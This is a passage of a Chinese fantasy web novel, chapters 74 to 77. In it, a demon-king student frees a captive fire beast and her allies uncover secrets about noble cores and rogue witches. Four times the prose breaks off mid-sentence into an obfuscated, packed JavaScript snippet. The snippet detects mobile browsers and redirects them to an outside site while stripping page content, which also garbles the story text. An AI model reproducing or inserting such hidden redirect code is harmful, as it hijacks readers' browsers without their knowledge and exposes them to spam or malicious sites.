而那个影子似的魔女此刻正在审视他的状态，最终缓缓地点了点头。 业者首领松了口气：“那就让你们看一眼吧，你们站到人行道上去，排成一列，不要随便乱动。” 妮娜随着学生们的阵营被挤到了一根路灯柱子旁边，要不是露西及时提醒，她可能就要撞上去了。 和阿尔弗雷德一样，她也确定蒙多就在这其中的一个笼子里。 解救蒙多是她当初提出的待处理事项之一，具体计划应该在古斯塔夫找到其下落后再进行拟定，谁知道机会降临得如此突然，她毫无准备，也没有可以寻求帮助的援手，她不确定仅凭自己能否在众目睽睽之下救出那位炼狱兽少年，但又担心错过这个机会之后，她将永远失去这位同伴。 她的命令应该能让蒙多突破法阵的封印，但火焰是一种难以控制的元素，如果不够小心，就有可能造成无辜人员的伤亡以及巨大的财物损失。 “这些家伙今天就会被送到赫尔马岱的恶魔研究所，按照研究需求被分解成各种材料，你忍心就这么眼睁睁地看着他们走向悲惨的死亡吗？”波诺不知什么时候挤到了她的身边，小声说道。 妮娜摇了摇头：“不能，但是我也要考虑到轻举妄动的后果。” “瞻前顾后有时候会坏了大事的。考虑后果固然重要，但对于你这样的存在来说，决断才是最要紧的事，没有人能在一开始就算计好一切，你要做的是决断，然后承担后果，而不是在深思熟虑中错过机会。” “机会……” “让我给你这个初出茅庐的年轻人一个建议吧，现在什么都不要想，跟着我念出这个单词就好——”波诺将一根手指竖在唇前，小声念诵，“[火焰]。” 话音刚落，一股热浪就势不可挡地向人行道席卷而来。 正打算掀开黑布的工作人员被吓得摔在地上，刚好躲过了从牢笼之中猛地窜出来的火蛇。 罩在笼子上的布料顿时被烧得干干净净。 原本兴致勃勃在旁围观的学生们反应各不相同，有的眼疾手快地找了安全的掩体，并拿出手机疯狂拍摄，有的疯狂逃窜，一眨眼就跑出老远，还有的呆在原地，被同伴拉扯才意识到应该避险。 尖叫，火焰燃烧的声音，汽车的鸣笛、店铺的警报声此起彼伏，十字路口一片混乱。 “你刚才有说什么吗？”波诺不可思议地望着那冲天的火焰，愣愣地询问身旁的女大学生。 他刚刚还像一个高深莫测的前辈，现在却和这些学生们一样无措。 “没有，我什么都没说。”妮娜答道，“但是现在我要‘说’了。” 黑衣的魔女发现了值得怀疑的对象，躲避着那些热烈的火风向路边走来。 “蒙多，烧掉那些笼子，烧掉那些铁链，然后逃到安全的地方去。”妮娜·斯特尔冲着那只冒火的笼子命令道，声音并不大。 火焰果然开始有目的性地集中、收束，专注于啃噬那些束缚自由的物件。 “你干了什么？”魔女走近了。 “不要管我，这不干你的事。”妮娜说。她眼尖地看到了他手腕上的刺青。 “你让我搞砸了任务。我总得给我的主人一个交代。” “站住！” 魔女对这声呵斥没有作出任何反应，迈着不容置疑的步伐，手掌中展现出那粒能够发射黑色锁链的魔力球。 面对这超出意料的状况，妮娜短暂地慌了神，她的命令再次失效了。 而就在黑色锁链向她张开领域的瞬间，炽烈的火焰将那些可怕的触手一口吞了下去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062475|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “啧。”魔女咋舌，不满地转过身，看来他改变了主意，打算先解决那个胡作非为的纵火犯。 在他转身的同时，视野被大片的黑色遮挡了。 所有的笼子都被炼狱兽的火焰给熔化，被关在里面的旧型魔女们像乌鸦一样成群地飞了出来，成功扰乱了这位负责人的行动。 在旁观者的眼中，这就是一场以火焰为背景的，群鸦的混战，只有当事人知道以一敌多的险恶之处。 唰！ 魔女蓄完力量，将黑色锁链彻底释放出来，所有的旧型魔女就像说好了似的，在同一瞬间作鸟兽散，逃到了那些锁链鞭长莫及的地方，然后彻底失去了踪迹。 他惨白的脸上露出懊恼的表情，等他想起去查问人行道上那两个可疑人物的时候，身后早就已经看不见那两个人的影子。 刚刚和运输业者进行交涉的大学生不知从哪个角落钻了出来，一双蓝色的眼睛好奇地打量着他。 “你、你好啊，没想到在这里又见面了，我叫阿尔弗雷德·克雷斯，不介意的话，交个朋——” 魔女没等他把话说完就转身离开，给他留下一个风衣扬起的背影。 阿尔弗雷德没有穷追不舍，因为魔女很快就跃上了附近的一座屋顶，消失在建筑群后。 “看看你提了一个什么好建议！”不知道在哪里避完险的运输负责人一脸愤恨地出现在阿尔弗雷德面前。 犯了错的男大学生没有理会业者的不满，好奇地盯着那些被化得像蜡烛一样的金属：“那些笼子应该不是粗制滥造的产品吧？炼狱兽的火焰居然能达到这么高的温度吗？” 除此之外，让他感到好奇的还有另一件事，就是妮娜·斯特尔说的那些话。 * 乌瑟有些稀里糊涂地走在事故现场附近的一条巷子里。 和那些早就已经飞得不知去处的同类们不一样，他身上还加持着贵族院留下的封印魔咒，没法随心所欲地使用哪怕是最简单的移动魔法。 不过好在这次运输贵族院只派了一个监督者（也不知道他们为什么会如此疏忽），除非那家伙能把自己的身体分成好几份，否则他一定没办法抓回所有的犯人。 乌瑟尽量让自己看起来沉着冷静，也尽可能地隐匿自己的行迹，走一些没人的小路。 他身上还穿着监狱的囚服，这让路人很难认出他是一名魔女，但在大街上，囚衣和魔女的外套一样显眼。 他知道自己该去哪里——老城区1402号，罗德里斯公寓。 * 波诺和妮娜并没有逃远，他们只是趁着没人注意的时候回到了教室。 波诺的情绪有些不稳定，刚才发生了一些光凭固有认知无法解释的事情。 炼狱兽是在他说出“火焰”这个单词之后释放火焰的。 关押炼狱兽的笼子上有封印阵，在不受外力影响的情况下，他不可能动用那种种族天赋。 在妮娜·斯特尔开口之前出现的火焰魔法到底是怎么回事？ 或者可以把问题变得更明确一点：他的语言为什么能在那头炼狱兽身上生效？ 75. 第 75 章 在波诺思索他与炼狱兽之间是否存在某种特殊联系的时候，妮娜·斯特尔也在考虑某个怪象。 “为什么我能‘命令’炼狱兽？” “为什么魔女没有听从我的‘命令’？” 最后两个人同时开口问道。 波诺这才记忆起刚才妮娜喊出“站住”的时候，那个魔女没有停下脚步。 在见识过研究所最近研发出来的新型魔女之后，他认为自己能够解答这个疑问。妮娜·斯特尔的言语无疑比所谓“前代魔王的手稿”有着更加精确的证明效果。 韦斯特尔一直敦促的那项研发真的成功了，不受绝对权力控制的魔女真的诞生了！ 韦斯特尔那家伙，竟然就这样一声不响地将那种新型兵器编入了自己的部下，天晓得他还在暗中筹划了什么坏事！ “说起来，我还不知道你的具体种族。”妮娜的声音将他的意识拉回到当前，“我知道阿斯代伦是血族的成员，这不代表你也是。” 看来她选择暂且将自己的问题放到一旁，先帮助别人解决疑难。 波诺就像一个天真的孩子一样歪了一下脑袋，他那种符合人类少年时期形象的外表使得这个动作看起来十分自然，但从他口中说出来的话却莫名老气横秋，“种族啊……我算是什么种族呢？” “你自己都不清楚吗？”年轻的魔王皱了皱眉。 波诺面露难色。 他该如何解释这件事情呢？ 他甚至无法像阿斯代伦那样用血族的身份糊弄过去——那家伙体内有吸血之王的核心，因而不仅能够获得号令血族的权力，也从中得到了一部分高等血族的力量，比如操控血液。 但他什么都没有。 贵族院的同僚们都以为洛伦诺在选择拥抱死亡之前让他继承了大狮鹫的核心，实际上那东西并不在他这儿，他没有和那些怪物们平起平坐的资格。 最开始的时候，参加圆桌会议总让他如坐针毡，这种状况直到近几十年才有改善。 至于他为何能像那些怪物们一样不老不死，则是多亏了阿加雷斯的魔力加持。 不得不说，至高魔力和绝对王权一样，尽是一些不合常理的东西，不怪贵族院会如此紧张。 “是啊……不是很清楚。”波诺含糊其辞地应道。 他担心说太多会泄露不该被她知道的秘密，比如他和阿斯代伦的真实身份。 与此同时，他并不觉得妮娜·斯特尔在知晓一切之后会将他怎么样。但他以为自己会抱有这种想法完全是因为这位魔王缺少力量。 妮娜突然将脸凑到他眼前。由于肤色和黑眼圈的影响，那张脸乍一眼看起来沉闷又阴郁，会让人联想到在学校遭受霸凌的孩子，但仔细看的话就会发现，嵌在眼眶里的那双眼睛相当有神，不仅如此，那黢黑的瞳孔像是拥有吸收一切的魔力——像是一个黑洞。 “怎、怎么了……突然靠这么近？”波诺做贼心虚地侧过头去。 “一位年长的魔族曾经告诉过我，魔界有十位大贵族，人类夺走了其中的七颗核心，剩下还有魔龙、死灵和炼狱兽的核心不知所踪。” “唔……我好像也听到过这个说法。” “你身上会不会藏着炼狱兽的核心？” 一个从未考虑过的角度。 波诺愣了一下。 而妮娜煞有介事地分析起来：“我也不知道大贵族的核心是怎样继承的，但既然炼狱兽核心没有落到人类手中，那就算出现在你身上也没有什么好奇怪的，对吧？如果你是一位大贵族的话，那无法确定自己的种族也就情有可原了，因为大贵族往往拥有他下属分支的所有特性。” 波诺猛地摇了摇头：“这太刺激了，我没法接受……我回去之后得好好问问阿斯代伦。” “嗯，”妮娜说，“接下去还要继续上课对吧？” 楼梯间传来学生们杂沓的脚步声和吵嚷声，亏他们能在目击了那么重大的事件之后还有心情回教室听讲。 波诺叹了口气：“恐怕也讲不了太久，治安和调查部门很快就会派人过来，这附近的人应该都要接受问询，严重点没准还会被带去拘留——我可不能被送进局子里。” 妮娜表示理解地颔首道：“我知道，如果真的有调查人员过来，我会掩护你逃走的。” 在第一个学生走进教室之前，妮娜已经回到了自己的座位，佯装和讲师完全不熟的样子。不过涌进教室的大学生们几乎没有关注她的存在，兴致高昂地将讲台围成了一个圈，波诺被困在圈子中心，被迫回答好奇宝宝们的提问。 妮娜坐在位子上把玩着一支签字笔，目光时不时停留在自己的手腕上。 她的问题还没有得到解答。 为什么那个魔女没有服从她的命令？ 原本以“无法反抗绝对王权的生物是魔族”为前提，可以推断魔女也是魔族，其例证就是乌瑟。 那么如果以“所有魔族都无法反抗魔王的命令”为前提，同样可以推断出刚才的那个“魔族”不是魔族，证据也显而易见。 可是他又毋庸置疑地拥有魔力。 是魔法媒介的效果吗？ 还是说，她的权力并没有她认为的那么稳固？ 如果是这样，那她对阿加雷斯的怀疑也许是种误会，她的命令失效，只是因为她的力量不够。 但还有另一种可能性——阿加雷斯和刚才那个魔女一样，是一种在拥有强大魔法能力的同时又不被绝对权力控制的生物。 “今天还真是一个惊喜的日子，这种事情可不是天天都能遇上的。”露西也回到了座位上，用手指头点了一下复读鸡的脑袋，仿佛想从这个动作中获得一点安慰，“你这么快就回来了，因为不喜欢凑热闹吗？” “我只是觉得有点危险，只是观察事态的话，这里的窗户有着足够优良的视野。况且我也已经近距离地目睹了现场的情况。”妮娜滴水不漏地说道。 露西的话让她警觉起来。 这种事情的确不是天天都能遇上的。 难道这就是导师7号非常强硬地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079369|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把讲座安排在礼拜四下午的原因吗？祂早就料到了运输队伍的出现，然后暗自期待着这一切的发生？ 为什么呢？祂想让她得到炼狱兽和魔女们的力量？怎么可能？祂会猜不到她集结力量的目的吗？ 想来想去，妮娜除了贵族院恐怕非但不是铁板一块，甚至还各自为政之外想不到更深刻的理由了。 * 周四下午，老城区的一位居民被突然从昏暗的巷子里冒出来的囚犯打扮的家伙给吓了一跳。 这个穿着囚服的高个子惨白得就像在地窖里活了一辈子，而他的脸色则憔悴得仿佛从来没睡过一个好觉。 单纯的居民一瞬间以为自己会被这家伙吸干血液，然后变成一具干尸。 不过，这个可疑的人物反而更害怕他，在对上视线的一瞬间就加快了脚步，像是要逃离什么的样子。 居民出于好奇，于是多看了一眼，便看到那家伙不出所料地走进了1402号的那栋魔窟——他发誓这个用词不带有任何歧视的意味，只是为了称呼方便。 开门迎接的是与这个惨白的家伙正相反的，一个浑身漆黑的影子，两个人没有说话，却像认识了很久的老友一样，默契地交换了一个眼神。 身穿囚服的高个子被迎进了那栋公寓，那条黑影子则在他身后关上了门。 至于那门后面又发生了什么，就不是这位好奇心很重的人类居民能够知晓的了。 “先生，没想到我们两个这么快就在监狱之外的地方重逢了。”文森特从门口的鞋柜里找了一双新拖鞋，彬彬有礼地放在玄关的地面。 乌瑟动作局促地弯腰换鞋，“我也没想到。也许我的到来会给罗德里斯公寓带来危险。” “我想这一点没什么好担心的，斯特尔女士给我们留了很多护身符，而且这座恶魔城是一个非常坚实的堡垒，我想，从外部侵入这里应该事件非常困难的事情。” “可是你毫不怀疑地就把我放了进来，这种轻率的态度可能会招致麻烦。如果我是一个想从内部瓦解防御的坏人呢？”乌瑟说话依然很不客气，“还有，护身符那种东西究竟能起什么作用……” 文森特闪动了一下脸上的圆片，“不，它们的力量不容置疑。” 他说着从和身体几乎连成一片的外套口袋里掏出一个纸包，正要递给乌瑟，但在那个包装精巧的矩形就要碰到对方的掌心时，又猛地收了回去。 “怎么了？”乌瑟不禁感到一阵懊恼。 “我差点忘了，乌瑟先生是一位魔女。”文森特飞快地将有字的那一面藏了起来，并用安慰的语气说道，“不要沮丧，这上面所写的魔女是指那些贵族院的爪牙。” 他在鞋柜里又找了一阵，从深处捞出一个储物盒。储物盒里也塞满了格式各样的手工护身符。 “房东早就考虑到这个问题了。”他从中挑了一个出来——至少在外观上和别的没什么不同。 乌瑟接了过来，并看到了上面的文字： 魔女退散（不作用于乌瑟·斯莱曼） 76. 第 76 章 阿尔弗雷德没有出现在后半程的讲座上，这让妮娜坐立不安，她猜想到那个狂妄自大的美术生很可能去找蒙多的麻烦了。 幸好波诺也无心授课，在将围在身旁的那群好奇宝宝们哄好之后，果断地为今日的课程做了总结，然后趁学生们反应过来之前一溜烟地消失在教室外面。 妮娜早就嗅到了他的计划，在他撒腿逃离的同时也揣上自己的背包跟了出去。 治安车队的鸣笛声由远及近，她暗自庆幸撤得及时。 不过她还是没能赶上波诺，只能一个人在附近寻找蒙多的线索。 * “今天真是辛苦你了。”蒂德莉和颜悦色地坐在花园中的藤编户外桌旁，桌子上放着一对玻璃杯，还有一只水壶。透明的壶壁展示出其中琥珀色晶莹剔透的内容物，空气中飘荡着甜美的龙眼香味。 波诺冲了上去，拎起水壶，仰着脑袋直接往嘴里灌了一口。 蒂德莉惊讶地看着他：“你不觉得烫吗？” 波诺气喘吁吁地放下水壶，这才发现这玩意儿刚才一直放在明火上慢煮，那些可口的液体还在泛着标志即将沸腾的水泡。他露出了迷茫的表情。 “好像……是有点烫。” 其实他一点也没这么觉得，但理智告诉他一个人不该在喝一壶八九十度的茶水时毫无异状。 他开始确定自己的身体有些不对劲了。 “我还担心你能不能成功溜回来，太好了，你没被韦斯特尔抓包。” “我真是恨透了你们这种总是把我当小孩的语气。” 蒂德莉拎起抓耳小巧的玻璃杯，轻轻啜了一口，神情温和地看向波诺少年，“我不是那种会介怀于年龄的女性，因此我很乐意提醒你，我比你大了将近二十岁，我上大学的时候洛伦诺才刚刚完成基础教育，我给她当过家庭教师，也看见过尚在襁褓的你。对我来说，你确实是一个小孩子。” 波诺正心烦意乱，但还是回了一句：“我们都是活了三百年以上的人，二十年的差距在我们的年龄面前已经不值一提。” “无论如何，我都感谢你的选择。”蒂德莉一句真心诚意的道谢让波诺陷入窘迫。 “我要去找阿斯代伦，他在家吗？” “他现在大概在地下为阿加雷斯殿下的走失感到懊悔。” 波诺抹了一下嘴唇，转身前往地下密室的入口。 蒂德莉说的没错，阿斯代伦正一个人呆在黑咕隆咚的地下牢笼，那个曾经关押阿加雷斯的房间，那个困缚着往昔勇者的大法阵里。 波诺才不管他现在是否伤春悲秋，像头斗牛似的冲到他面前，一把揪住他的衣领：“到底是怎么回事？！” “你在说什么？”阿斯代伦不明所以，“我劝你最好先松开手，这可不是面对前辈的礼仪，你的贵族精神都上哪儿去了？” 波诺将他的衣领揪得更紧了，但几秒钟之后，他就松开了手，垂下肩膀，低声说道：“我今天遇见了一头活的炼狱兽。” “哦。”阿斯代伦应得不咸不淡。 “我说出了‘火焰’这个单词，那头炼狱兽就释放出了强大的火蛇——从施加了封印的魔法笼子里。”波诺克制着情绪，陈述刚才发生的事件，“我可以对炼狱兽行使‘命令’，在魔王面前时会自然而然地感受到敬畏……你怎么看？你不觉得这其中应该有些说法吗？” “你想听我说什么？” “当年是你跟我提出那个交易的，你是不是动了什么手脚？” 二百七十八年前，洛伦诺·吉尔斯特做出了放弃大狮鹫核心的决定。 一开始，她没有将这个决定告知贵族院的同僚们，而是告诉了自己还在读大学的兄弟波诺·吉尔斯特。 她问波诺是否愿意接收大狮鹫的核心，而波诺则说为什么要这么问。 姐弟二人没有发现这段对话被恰好经过附近的阿斯代伦尽收耳底。 这个性格差劲的贵族向他们二人发起了一个倡议。 “你想从成为魔物的恐惧中解脱，却要让亲弟弟来继承这种恐惧吗？洛伦诺，我以前没发现你是这么狠心的姐姐。不如这样吧，你把核心交给我，再对外宣称让波诺接手了贵族院的交椅。” “你就不怕最后真的变成一个魔物吗？” “那又怎么样呢？我可不觉得变成魔物有什么不好的，远超人类的寿命，强健的体魄，还有人类望尘莫及的魔法天赋，我很享受核心给我带来的一切，你就当是满足我的私欲好了。” “可是……如果波诺不继承核心，他就会继续成长，衰老，然后死去——到时候韦斯特尔他们若是产生疑心，又要让他怎么交代？他无法控制兽人一族，又要怎么向别人解释？” “第一个问题，我会让阿加雷斯为他加持不老不死的魔法，第二个问题，我会替他行使需要的权能，他只要在表面上做个样子就行了。总之你放心，我会保护好他的。” “我知道你总能打点好一切，阿斯代伦殿下，我不怀疑……” 核心转移的仪式是在暗中进行的，知情者只有吉尔斯特姐弟和格尔克诺兄弟。 大狮鹫的核心被移植进阿斯代伦的身体，阿加雷斯则为波诺加护了“青春永驻的法术”。 说实话，波诺想不到阿斯代伦有什么进行暗箱操作的空间。 “没有。”阿斯代伦也确凿地进行了否定。 “那到底……”波诺几乎要在他诚恳的眼神中败下阵来。 阿斯代伦笑了一下：“因为不是在那个时候动的手脚啊。” 他转头看向房间的天顶上由大法阵残留下来的星辰般的光点，“我有时还觉得奇怪，你就从来没有感受到身体中的魔法源流吗？” 波诺明白他话里的意思，惊恐地睁大了眼睛。 阿斯代伦做出了肯定的判决：“炼狱兽的核心从来就没有‘下落不明’过，它就在你身上。只不过元素兽在第一次除魔运动的时候就基本上被屠杀殆尽，第二次除魔运动更是彻底让他们消失，所以你从来都没有什么机会使用‘权力’罢了。” “虽然有点对不起洛伦诺， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097638|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过将近三百年过去了，你我都还活得像个人样，所以应该没什么问题。” 波诺挥起了拳头，在砸中阿斯代伦那张精致的脸庞时，红色潮湿的鞭子拽住了他的胳膊。 “我们姑且算是一条船上的人，能不能不要对我这么粗鲁？” “你看看你都干了什么事，现在却要让我别太粗鲁？” “这一切都是有原因的。你已经看到了吧——韦斯特尔的魔女？” 波诺想起了那个手腕上有刺青的家伙，不悦地嘀咕了一句：“那家伙，是真的不会受到绝对权力的影响。韦斯特尔难道真的想杀死魔王？不……不……如果魔王死了，魔法和权力都会消失，他可舍不得。” “是啊，他那种权力欲望爆棚的人，怎么舍得扔掉已经拥有的一切？非但如此，他还想要更多呢。” “更多？他是发现了什么新大陆吗？” “他想要更多的权力，可以匹敌甚至压制魔王的权力，然后——让自己变成魔王。” 阿斯代伦谦虚地补充了一句“我猜”。 “那种事情怎么可能？魔王的权力是绝对的，就算把十颗大贵族核心加起来也颠覆不了那种权威——等一等，加起来……” “嗯。”阿斯代伦露出一个“你说对了”的表情，“虽然还不知道他下一步的行动是什么，也不知道他具体会如何使自己解脱王权，但可以肯定的是或早或晚，他都会开始谋求所有核心，他希望贵族院变成他一个人的贵族院——那个时候，这个国家才能真正被称为‘王国’。” 波诺打了个冷战。 “所以你就打算和魔王联手吗？就当你说的是真的好了，和魔王联手干掉韦斯特尔，之后要怎么分配功劳？你难道能够容忍人类被魔族奴役的事情发生吗？你这人类的叛徒！” “……换位思考一下，魔王就该眼睁睁看着自己的同胞遭受人类的迫害吗？”阿斯代伦说。 “既然你知道这种事情，为什么还要考虑寻求魔王的合作？啊——反正最后的胜利者只会是魔王或者韦斯特尔，我们不论站在哪边都是一败涂地的结局，别告诉我你是在两害相权取其轻！”波诺最后几乎是喊了起来，而且嗓子还有点破音。 阿斯代伦沉默了片刻，说道：“魔王的权力与力量内生自他们的品格，至少在‘人性’和道德层面，我信任那位异族的王胜过我的那位同僚。你不觉得妮娜·斯特尔是个不错的家伙吗？” 波诺一拳打在墙上，墙面竟然迸出了一点火星：“你怎么能轻易相信那种东西？如果韦斯特尔真的堕落了，我们为什么不联起手来将他打败呢？我们还有阿加雷斯殿下不是吗？难道韦斯特尔的那些魔女能比阿加雷斯殿下更加强大？还有，你要跟一个魔王讲‘人性’？” “正是因为有阿加雷斯，我才会这么做的。”阿斯代伦依旧望着那些虚假的星星，“你也知道，在七岁之前，小魔王的监护人一直是阿加雷斯，除了天生的品格，她还有着阿加雷斯的言传身教和作为人类生活二十多年的记忆。为什么她不能拥有人性呢？” 77. 第 77 章 …… 我认识两位魔王，并且与之有过深交。这在人类当中应该属于绝无仅有的经验。 我和其中一位可以称得上是忘年之交，和另一位则有过监护与被监护的关系。 按照先后顺序，我应该先介绍一下格兰德。死于人魔大战的一位伟大的魔王。 格兰德是一个很有魅力的领袖。我认识他的时候，他已经步入生命的暮年，他的外表看起来英气逼人，让人移不开视线，让即使是身为同性的我也情不自禁地为之着迷。而他的气质则因为身体的虚弱而呈现柔和之感。 他就像是我见过的最美好的夕阳，耀眼，温和，令人难忘。而且我也知道，他就像夕阳一样，马上就会消失。 他让我看到了一名王者应有的样子，让我不住地为曾经逃离的那个堕落的故乡感到叹惋。 如果格尔克诺家族有像他一样的领袖，那个国家也不会陷入那样悲惨的境地，而我们也就不用背井离乡、流离失所，最后变成了掳掠另一个族群的强盗。 我有愧于他，这点毋庸置疑。 这也是我即使依托谎言也要将魔王之卵保留下来的原因。而我也因此得以接触第二位魔王。 从她破壳而出的那一天起，我全身的力量都好像在叫嚣着要回到自己真正的主人那儿去。 这种状况持续了很久，直到我好不容易说服圆桌会议，让他们同意我抚养小魔王的请求。只有呆在她身边的时候，那些力量才愿意平静下来，不再反反复复地折腾我。 和她在一起，既是为了她，也是为了我自己——不管是从身体的层面，还是从精神的层面。 和人类婴儿不一样，她最初学会的发音不是“妈妈”，当然更不是“爸爸”。我永远不会忘记她挥舞手臂，吃吃地笑着，喊我“格兰德”时的样子。 看来格兰德对她无微不至、全心全意的关怀成功在她的记忆中留下烙印。 哪怕她从未用自己的眼睛看到过那位崇高的魔王，她也已经学会了用自己的声音歌颂他的名字。 “格兰德，格兰德……给我讲故事。” “格兰德，明天可以带我出去玩吗？” “格兰德……” 我没有纠正这个错误，没有对她说：“不是哦，我不叫格兰德，我叫阿加雷斯。” 阿加雷斯·格尔克诺。我羞于在她面前说出这个名字。 这样自矜的我，却能厚颜无耻地顶替格兰德的位置。 我也真是一个可怕的家伙呢。 ——《阿加雷斯的日记》 …… 罗德里斯公寓的房间隔音远远超过了一栋廉租房该有的程度，但依然没有阻挡住楼下传来的嘈杂声响。 阿加雷斯看了一眼那包已经拆开的蔬菜饼干，眼尖地从里面找到了一颗星星，他立马将它捞出来，然后吃掉。 接着，他又在房间里来回踱步，在进行到第七次往返时，仍没有出现包括头晕目眩在内的各种任何不良反应。这让他觉得今天状态不错。 于是他离开了房间，下了楼梯，想要加入到一楼的众声喧闹之中。 102室的房门被砰地打开了，穿着无袖T恤和牛仔短裤的短发女性从里面嗖地飞了出来，眨眼间就挂在了门口那个高瘦个子的脖子上。 那家伙瘦得像一根枯掉的木头，背微微弓着，看起来承受不了任何重量，但偏偏稳重而结实地撑住了女性的突袭，并用同样瘦得像枯枝一样的手臂在她背上轻轻拍了两下。 一团黑影似的大巫妖，三位天性喜欢热闹的魅魔及亚种，绿色的幼年巨魔，还有一位头发花白但岁数尚还年轻的人类都不知什么时候围堵在门口，并为这个温馨愉快的画面鼓掌欢呼。 “发生什么了？”阿加雷斯向站在楼梯口的佩吉问道。 “我也不知道，但是大家都这么做，所以我就不由自主地跟着做了。”佩吉答道。 “他看上去刚刚离开监狱，是这里曾经的房客吗？”阿加雷斯又问。 薇薇安回过头：“我们是最早搬进这儿的，我也是第一次看到这家伙。” 拉弗尔说：“我倒是见过他一面。就在我们搬来这儿后不久，有一天早上我从房间的窗外往外看的时候，看到他刚好从斯特尔小姐的房间离开，那时候他穿得就像一只乌鸦一样，但就是这么瘦，这么苍白。” 阿加雷斯想到了什么：“他是一位魔女。” 热情的掌声立刻停了下来。 佩吉咿地惊叫了一声。 乌鸦依依不舍地从囚犯的身上退了下来，为目瞪口呆众人做起了介绍：“乌瑟·斯莱曼，我的哥哥。” 而文森特及时补充了一句：“乌瑟先生是斯特尔女士在大学的辅导员，罗德里斯公寓的成立也有他的不少功劳。” 众人参差不齐地噢了起来，掌声也随之重新响起。 乌瑟被房客们簇拥着进入公共活动区域，所有人各自挑选了一把椅子坐下，而乌瑟被安排在了主座上，迎接着众人好奇的眼光。 阿加雷斯一眼就看到了他挂在手腕上的那枚护身符——罗德里斯公寓的房客人手一件，但他的那枚上似乎多了几个字，从某种意义上，也可以说明在房东心中，这位先生和其他人是不同的。 “你犯了什么事进去的？魔女不都是贵族院的手下吗？难道说你因为斯特尔小姐的事得罪了贵族院？”薇薇安顺应着氛围，一下子就把乌瑟抬到了一个有功之人的位置。 其余人的眼神便因此带上了一点尊敬。 “是因为我擅自打开了贵族院在网络交易系统上设置的一些关节……确实是出于帮助妮娜·斯特尔的目的，但还说不上得罪贵族院。”乌瑟局促不安地解释道。 在这种融洽而热情的氛围中，他发现自己很难顺利发动那种尖酸刻薄的态度。 “我还是第一次知道你和乌鸦女士是兄妹。”文森特眨着他的圆眼睛说道，“不过这真是一种令人羡慕的关系。” “魔族不都是从生命之树上掉下来的吗？所以应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114749|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该不是亲兄妹，只是从小一起生活，互相支持的‘亲如兄妹’的关系吧？”佩吉有些好奇又有些鲁莽地问道。 薇薇安解释说：“先后间隔很短的时间从同一个枝节上掉下来的果实会被我们认为有类似的亲缘关系，这种情况不多见，很多族人都会羡慕有兄弟姐妹的那些人。” 讨论到了这里，众人顺理成章地想到了他们的房东也曾经注意到过的问题。 维克多也曾提出过这个问题，只不过当时被“妮娜·斯特尔是魔王”这件事给完全地盖过了。 “……这么说魔女也是从生命之树上诞生的？”艾力克凭借孩童的天真直白地指出了这一点。 阿加雷斯放在桌面上的手指突然抽动了一下。 公寓的大门在这个时候猛地被打开，妮娜·斯特尔风尘仆仆地站在门口。她一眼就看到了正对着大门端坐的乌瑟，眼睛一亮：“导员！” 她匆匆换好鞋子，来到餐桌边上，环视着围坐的众人，问道：“没有炼狱兽来过这儿吗？” 参与过罗德里斯公寓第一次全体会议的成员们意识到发生了计划之外的情况。 “被贵族院捕获的炼狱兽？” “他为什么会来这里？” “您去劫狱了吗？” 妮娜意识到得先向众人详细说明一下近来发生的一些事，然后再同大家一起商量寻找蒙多的计划了。 * 布莱克·高宁已经有一段时间没感受过如此激烈和刺骨的学术氛围。 他还没有神经大条到感觉不到研讨会成员们的针对。 尽管达尔·达曼在形式上对他表现出一点维护，但这完全没能阻挡住其他学生对他的进攻。 他觉得自己不是来代替他的房东兼校友完成学术发表的代理人，而是来为她的学术成果进行辩护的律师。 他法学生的血脉在那些不怀好意的攻击的刺激之下顺利觉醒，他在只有十几个平方大小的研讨教室中舌战群雄，最后把那些唧唧歪歪的家伙收拾得服服帖帖。 他们气喘吁吁、面红耳赤的样子着实让人心情舒畅。 不过这也多亏了妮娜给他的材料很充分。 帮助维克多先生做事固然也很有收获，但果然还是这样的事情更能让他感受到自身的价值。 他心情愉悦地离开经济学院的教学楼，打算在回到住处之后进行一番完美的述职。 